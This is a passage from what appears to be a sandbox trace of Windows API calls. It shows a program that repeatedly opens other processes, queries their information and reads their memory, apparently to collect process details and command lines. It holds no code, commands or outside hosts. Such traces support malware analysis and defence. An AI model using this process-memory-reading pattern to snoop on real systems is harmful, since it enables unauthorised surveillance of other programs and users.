lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.657] malloc (_Size=0x6a) returned 0x20abc2831b0 [0198.657] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x53195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0198.658] free (_Block=0x20abc2831b0) [0198.658] CloseHandle (hObject=0x458) returned 1 [0198.659] _ui64tow_s (in: _Value=0xe68, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0198.662] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3688") returned 4 [0198.663] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.663] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.675] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x458 [0198.675] GetLastError () returned 0x0 [0198.675] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.676] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.676] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.676] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x591ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.676] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5918f8, lpBuffer=0x2dc24fc2d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.677] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.678] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.678] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.678] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.678] malloc (_Size=0x6c) returned 0x20abc2831b0 [0198.678] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x59195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0198.679] free (_Block=0x20abc2831b0) [0198.680] CloseHandle (hObject=0x458) returned 1 [0198.680] _ui64tow_s (in: _Value=0xe78, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0198.845] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3704") returned 4 [0198.846] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.846] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0198.881] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x458 [0198.882] GetLastError () returned 0x0 [0198.882] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0198.882] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x322018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0198.882] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0198.882] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0198.882] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0198.883] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0198.884] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0198.885] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x322020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0198.885] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0198.885] malloc (_Size=0x70) returned 0x20abc2831b0 [0198.886] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4d1960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0198.887] free (_Block=0x20abc2831b0) [0198.888] CloseHandle (hObject=0x458) returned 1 [0198.889] _ui64tow_s (in: _Value=0xe80, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3712") returned 0x0 [0198.893] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3712") returned 4 [0198.894] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0198.894] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.122] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe80) returned 0x464 [0199.122] GetLastError () returned 0x0 [0199.122] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.122] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.122] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.122] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.123] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4918f8, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.123] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.124] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.124] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.124] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.125] malloc (_Size=0x5e) returned 0x20abc280370 [0199.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49194e, lpBuffer=0x20abc280370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0199.126] free (_Block=0x20abc280370) [0199.127] CloseHandle (hObject=0x464) returned 1 [0199.127] _ui64tow_s (in: _Value=0xe8c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3724") returned 0x0 [0199.131] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3724") returned 4 [0199.132] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.133] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.317] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe8c) returned 0x468 [0199.317] GetLastError () returned 0x0 [0199.317] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.317] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x4f1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.317] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.317] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x901ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.317] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x9018f8, lpBuffer=0x2dc24fc2d0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.318] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.319] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.319] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x4f1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.319] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x9012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.320] malloc (_Size=0x70) returned 0x20abc2831b0 [0199.320] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x901960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0199.320] free (_Block=0x20abc2831b0) [0199.321] CloseHandle (hObject=0x468) returned 1 [0199.321] _ui64tow_s (in: _Value=0xe94, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3732") returned 0x0 [0199.325] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3732") returned 4 [0199.326] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.326] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.342] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe94) returned 0x468 [0199.342] GetLastError () returned 0x0 [0199.342] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.342] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x308018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.342] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.343] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x521d10, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.343] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x5218f8, lpBuffer=0x2dc24fc2d0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.344] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.345] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.345] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x308020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.345] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x5212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.345] malloc (_Size=0x80) returned 0x20abc286890 [0199.345] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x521970, lpBuffer=0x20abc286890, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0199.346] free (_Block=0x20abc286890) [0199.346] CloseHandle (hObject=0x468) returned 1 [0199.347] _ui64tow_s (in: _Value=0xeac, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0199.350] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3756") returned 4 [0199.351] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.351] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.631] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x458 [0199.631] GetLastError () returned 0x0 [0199.631] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.631] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3c1018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.631] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.632] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x501d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.632] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5018f8, lpBuffer=0x2dc24fc2d0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.632] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.634] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.634] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3c1020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.634] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.634] malloc (_Size=0x8a) returned 0x20abc286890 [0199.634] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x50197a, lpBuffer=0x20abc286890, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0199.635] free (_Block=0x20abc286890) [0199.635] CloseHandle (hObject=0x458) returned 1 [0199.636] _ui64tow_s (in: _Value=0xeb4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3764") returned 0x0 [0199.639] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3764") returned 4 [0199.640] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.640] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.653] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeb4) returned 0x458 [0199.653] GetLastError () returned 0x0 [0199.653] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.653] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4bc018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.653] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.653] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2d1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.653] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0199.654] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0199.655] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0199.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4bc020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0199.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0199.655] malloc (_Size=0x6c) returned 0x20abc2831b0 [0199.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2d195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0199.656] free (_Block=0x20abc2831b0) [0199.656] CloseHandle (hObject=0x458) returned 1 [0199.657] _ui64tow_s (in: _Value=0xee0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3808") returned 0x0 [0199.660] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3808") returned 4 [0199.661] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0199.661] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0199.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee0) returned 0x458 [0199.838] GetLastError () returned 0x0 [0199.838] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0199.838] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2e8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0199.838] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0199.838] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0199.839] ReadProcessMemory (in: hProcess=0x458, 